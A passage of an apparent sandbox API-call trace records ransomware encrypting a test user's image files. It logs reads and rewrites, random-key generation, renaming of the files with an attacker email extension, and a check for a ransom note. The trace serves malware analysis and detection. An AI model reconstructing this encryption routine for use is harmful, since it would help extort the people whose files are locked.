Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.119] WriteFile (in: hFile=0x370, lpBuffer=0x2f88688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x119ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x2f88688*, lpNumberOfBytesWritten=0x119ef8f4*=0x8, lpOverlapped=0x0) returned 1 [0170.119] WriteFile (in: hFile=0x370, lpBuffer=0x119ef90c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x119ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x119ef90c*, lpNumberOfBytesWritten=0x119ef8f4*=0x4, lpOverlapped=0x0) returned 1 [0170.119] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x119ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x119ef8f4*=0x4, lpOverlapped=0x0) returned 1 [0170.119] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x119ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x119ef8f4*=0x6c, lpOverlapped=0x0) returned 1 [0170.119] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x119ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x119ef8f4*=0x20, lpOverlapped=0x0) returned 1 [0170.119] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x119ef8f4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x119ef8f4*=0x4, lpOverlapped=0x0) returned 1 [0170.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88660) returned 1 [0170.119] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0170.119] CloseHandle (hObject=0x370) returned 1 [0170.120] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f97218 [0170.120] wcscpy (in: _Dest=0x2f97218, _Source="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" [0170.120] wcscat (in: _Dest=0x2f97218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.120] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uopwqv2kw.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.125] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.125] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97218) returned 1 [0170.125] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0170.125] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.125] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.125] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.125] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0170.125] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5268) returned 1 [0170.125] RtlExitUserThread (Status=0x1) Thread: id = 1880 os_tid = 0x484 [0170.126] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.127] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.127] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x11a6fdb8 | out: lpFileSize=0x11a6fdb8*=15117) returned 1 [0170.127] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x3b09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.127] ReadFile (in: hFile=0x370, lpBuffer=0x11a6fd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11a6fd88, lpOverlapped=0x0 | out: lpBuffer=0x11a6fd8c*, lpNumberOfBytesRead=0x11a6fd88*=0x4, lpOverlapped=0x0) returned 1 [0170.128] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88660 [0170.128] NtQuerySystemTime (in: CurrentTime=0x11a6fd64 | out: CurrentTime=0x11a6fd64*=132121213274439090) returned 0x0 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x67506b96 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xeadaf5c2 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xec5b3b0d [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x80d2163e [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xd51bfc88 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xddf1c49 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xb6d8906a [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x5a285f24 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x3d57c448 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x578f61e0 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xad0a3d43 [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x3922f78d [0170.128] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x75a0f37a [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xf074a6d7 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x3fd9ba [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xfa26014c [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x27888706 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xf9d49946 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xf8125222 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xce82e0c6 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xe2805d37 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x7cad6ef0 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x6efc3813 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xcf72e4e6 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x1d6604d4 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xed95d949 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xe76acdd [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xd5becfa1 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x25972902 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x40a43e64 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0xe0a7ae33 [0170.129] RtlRandom (in: Seed=0x11a6fd70 | out: Seed=0x11a6fd70) returned 0x97537064 [0170.139] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0170.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0170.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.142] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.142] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.142] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x3b0d, lpNumberOfBytesRead=0x11a6fd64, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x11a6fd64*=0x3b0d, lpOverlapped=0x0) returned 1 [0170.143] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x11a6fd2c | out: lpNewFilePointer=0x0) returned 1 [0170.143] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x3b0d, lpNumberOfBytesWritten=0x11a6fd60, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x11a6fd60*=0x3b0d, lpOverlapped=0x0) returned 1 [0170.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.143] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.143] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11a6fd5c, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x11a6fd5c*=0x20, lpOverlapped=0x0) returned 1 [0170.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.143] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.144] WriteFile (in: hFile=0x370, lpBuffer=0x2f886b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11a6fd88, lpOverlapped=0x0 | out: lpBuffer=0x2f886b0*, lpNumberOfBytesWritten=0x11a6fd88*=0x8, lpOverlapped=0x0) returned 1 [0170.144] WriteFile (in: hFile=0x370, lpBuffer=0x11a6fda0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11a6fd88, lpOverlapped=0x0 | out: lpBuffer=0x11a6fda0*, lpNumberOfBytesWritten=0x11a6fd88*=0x4, lpOverlapped=0x0) returned 1 [0170.144] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11a6fd88, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11a6fd88*=0x4, lpOverlapped=0x0) returned 1 [0170.144] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11a6fd88, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11a6fd88*=0x6c, lpOverlapped=0x0) returned 1 [0170.144] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11a6fd88, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x11a6fd88*=0x20, lpOverlapped=0x0) returned 1 [0170.144] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11a6fd88, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11a6fd88*=0x4, lpOverlapped=0x0) returned 1 [0170.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0170.144] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0170.144] CloseHandle (hObject=0x370) returned 1 [0170.145] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff26d8 [0170.145] wcscpy (in: _Dest=0x2ff26d8, _Source="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" [0170.145] wcscat (in: _Dest=0x2ff26d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.145] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\uq3prxuz.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.145] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff26d8) returned 1 [0170.146] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4900 [0170.146] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.146] wcscat (in: _Dest=0x2fa4900, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.146] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0170.146] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4ed8) returned 1 [0170.146] RtlExitUserThread (Status=0x1) Thread: id = 1881 os_tid = 0x490 [0170.147] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.148] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.148] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x11aefc48 | out: lpFileSize=0x11aefc48*=58051) returned 1 [0170.148] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe2bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.148] ReadFile (in: hFile=0x370, lpBuffer=0x11aefc1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11aefc18, lpOverlapped=0x0 | out: lpBuffer=0x11aefc1c*, lpNumberOfBytesRead=0x11aefc18*=0x4, lpOverlapped=0x0) returned 1 [0170.149] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0170.149] NtQuerySystemTime (in: CurrentTime=0x11aefbf4 | out: CurrentTime=0x11aefbf4*=132121213274595634) returned 0x0 [0170.149] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xba07493 [0170.149] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x1bd604f3 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x407fa3bb [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x2fedcddf [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x44834bcf [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xea968cd8 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x482a878f [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xbe49470a [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xd5c914bf [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x9ce75000 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x5fcf0bd3 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x8bafe9f [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x97a4788b [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x729baec2 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x4850b2d0 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x4e5b12ee [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x9ea27a76 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x85b9d57d [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xc58ad4dd [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x185cf09b [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x12fc1e14 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xe48f7900 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x5e21827e [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xe810c138 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x7bd67c6 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x2dc867e [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x8ce677b6 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xc840449e [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x4c731681 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x5eb0baad [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0xff6eb2c6 [0170.150] RtlRandom (in: Seed=0x11aefc00 | out: Seed=0x11aefc00) returned 0x9ff5da1c [0170.160] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0170.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.162] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.162] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11aefbcc, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x11aefbcc*=0x4096, lpOverlapped=0x0) returned 1 [0170.163] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96cd8 [0170.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.163] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88700 [0170.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88728) returned 1 [0170.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96cd8) returned 1 [0170.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.164] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11aefbcc, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x11aefbcc*=0x4096, lpOverlapped=0x0) returned 1 [0170.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.164] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe2c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.164] WriteFile (in: hFile=0x370, lpBuffer=0x2f88700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11aefc04, lpOverlapped=0x0 | out: lpBuffer=0x2f88700*, lpNumberOfBytesWritten=0x11aefc04*=0x20, lpOverlapped=0x0) returned 1 [0170.165] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88700) returned 1 [0170.165] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.165] WriteFile (in: hFile=0x370, lpBuffer=0x2f886d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11aefc18, lpOverlapped=0x0 | out: lpBuffer=0x2f886d8*, lpNumberOfBytesWritten=0x11aefc18*=0x8, lpOverlapped=0x0) returned 1 [0170.165] WriteFile (in: hFile=0x370, lpBuffer=0x11aefc30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11aefc18, lpOverlapped=0x0 | out: lpBuffer=0x11aefc30*, lpNumberOfBytesWritten=0x11aefc18*=0x4, lpOverlapped=0x0) returned 1 [0170.165] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, 